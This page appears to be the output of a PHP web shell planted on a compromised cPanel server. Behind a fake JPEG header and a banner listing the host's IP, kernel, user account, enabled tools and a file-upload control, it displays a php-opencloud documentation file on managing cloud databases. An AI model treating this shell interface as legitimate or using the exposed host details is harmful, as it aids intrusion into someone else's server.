����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 13.59.111.209 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/rackspace/php-opencloud/doc/services/database/ |
Upload File : |
Databases ========= Setup ----- In order to interact with the functionality of databases, you must first retrieve the details of the instance itself. To do this, you must substitute `{instanceId}` for your instance's ID: .. code-block:: php $instance = $service->instance('{instanceId}'); Creating a new database ----------------------- To create a new database, you must supply it with a name; you can optionally specify its character set and collating sequence: .. code-block:: php // Create an empty object $database = $instance->database(); // Send to API $database->create(array( 'name' => 'production', 'character_set' => 'utf8', 'collate' => 'utf8_general_ci' )); You can find values for ``character_set`` and ``collate`` at `the MySQL website <http://dev.mysql.com/doc/refman/5.0/en/charset-mysql.html>`__. Deleting a database ------------------- .. code-block:: php $database->delete(); .. note:: This is a destructive operation: all your data will be wiped away and will not be retrievable. Listing databases ----------------- .. code-block:: php $databases = $service->databaseList(); foreach ($databases as $database) { /** @param $database OpenCloud\Database\Resource\Database */ }